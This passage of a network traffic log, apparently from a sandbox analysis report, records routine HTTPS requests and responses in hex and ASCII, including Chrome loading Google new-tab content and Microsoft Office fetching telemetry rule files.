Ascii: tityinfo":"CggvbS8wNG1qbBINQmFzZWJhbGwgdGVhbTLeDWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRDRBQUFCQUNBTUFBQUIxTnpUSEFBQUFuRkJNVkVYLy8vOEFVSmNBUzVVQVI1TUFSWklBUDVBQVFwRUFTWlFBVHBZQU9vNEFWcG9BVXBnQVZKbis5UFFBV0p2MytmdkgwK0w4NGVIemVuejV3
2024-11-17 09:07:22 UTC	57	IN	Data Raw: 31 4d 45 78 5a 61 44 41 32 55 46 56 4c 52 55 52 5a 62 6b 56 6c 62 55 39 58 56 57 46 51 63 6a 68 52 52 31 52 4c 62 31 56 74 4f 47 4a 4a 64 44 4a 75 51 57 77 79 61 58 0d 0a Data Ascii: 1MExZaDA2UFVLRURZbkVlbU9XVWFQcjhRR1RLb1VtOGJJdDJuQWwyaX
2024-11-17 09:07:22 UTC	90	IN	Data Raw: 35 34 0d 0a 4e 4c 62 56 70 4e 65 6b 31 49 52 57 70 52 55 30 35 4f 53 56 63 78 54 30 64 55 59 58 4e 57 53 48 42 34 4e 44 5a 78 61 6a 6c 43 54 55 4a 75 59 57 31 71 64 57 68 4e 55 45 68 50 65 45 46 6b 62 44 59 79 62 56 68 44 52 32 55 78 57 56 5a 53 5a 6b 31 77 57 54 0d 0a Data Ascii: 54NLbVpNek1IRWpRU05OSVcxT0dUYXNWSHB4NDZxajlCTUJuYW1qdWhNUEhPeEFkbDYybVhDR2UxWVZSZk1wWT
2024-11-17 09:07:22 UTC	1319	IN	Data Raw: 35 32 30 0d 0a 45 32 63 31 4a 77 54 48 64 4e 61 45 6c 47 52 45 46 77 63 6c 56 59 65 55 6c 6f 51 31 6b 79 63 32 77 32 61 6a 67 32 64 47 6c 6e 56 6a 4d 35 53 7a 6b 33 63 31 68 58 59 55 34 34 4e 58 4e 6a 53 47 73 7a 62 32 52 69 59 31 46 30 51 31 42 58 61 46 6c 73 4d 6d 46 58 52 32 78 6d 54 30 64 72 63 57 4a 47 54 44 64 69 55 58 4e 46 56 48 46 35 5a 56 4a 46 61 7a 6c 78 57 47 52 52 63 48 4d 77 56 6d 49 32 62 6c 6c 4a 62 31 6c 61 4e 6d 68 47 62 45 35 4d 56 6e 49 35 65 6b 78 50 52 30 70 4b 52 47 31 74 56 6d 49 79 55 58 6c 47 64 47 68 73 62 30 51 33 55 30 70 78 4d 44 46 44 62 56 59 34 4d 58 52 33 55 7a 4e 4f 51 32 78 71 65 45 45 30 65 55 52 6b 62 54 4a 36 62 47 4a 47 55 6d 52 34 57 47 68 4c 52 47 51 77 62 55 70 44 63 31 56 74 62 32 63 35 57 56 5a 79 4c 79 74 68 Data Ascii: 520E2c1JwTHdNaElGREFwclVYeUloQ1kyc2w2ajg2dGlnVjM5Szk3c1hXYU44NXNjSGszb2RiY1F0Q1BXaFlsMmFXR2xmT0drcWJGTDdiUXNFVHF5ZVJFazlxWGRRcHMwVmI2bllJb1laNmhGbE5MVnI5ekxPR0pKRG1tVmIyUXlGdGhsb0Q3U0pxMDFDbVY4MXR3UzNOQ2xqeEE0eURkbTJ6bGJGUmR4WGhLRGQwbUpDc1Vtb2c5WVZyLyth
2024-11-17 09:07:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49762	142.250.185.196	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49763	142.250.185.196	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 09:07:22 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 09:07:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 09:07:22 UTC	360	IN	Data Raw: 32 38 34 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2842)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700303,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 Data Ascii: ;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")
2024-11-17 09:07:22 UTC	1378	IN	Data Raw: 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c Data Ascii: (b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\
2024-11-17 09:07:22 UTC	308	IN	Data Raw: 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 Data Ascii: c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.pe\u003df
2024-11-17 09:07:22 UTC	319	IN	Data Raw: 31 33 38 0d 0a 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6f 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 65 5b 64 5d 2c 63 29 3a 5f 2e 6a 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 6a 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6f 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 Data Ascii: 138yle\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:oe.hasOwnProperty(d)?a.setAttribute(oe[d],c):_.je(d,\"aria-\")\|\|_.je(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};oe\u003d{cellpadding:\"c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49764	142.250.185.196	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 09:07:22 UTC	1034	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 09:07:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 09:07:22 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-17 09:07:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090722Z-16547b76f7f64d6whC1DFWf9vn00000002k000000000fbz3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090722Z-16547b76f7ff9zf4hC1DFW2pfc00000001ng000000008zuq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
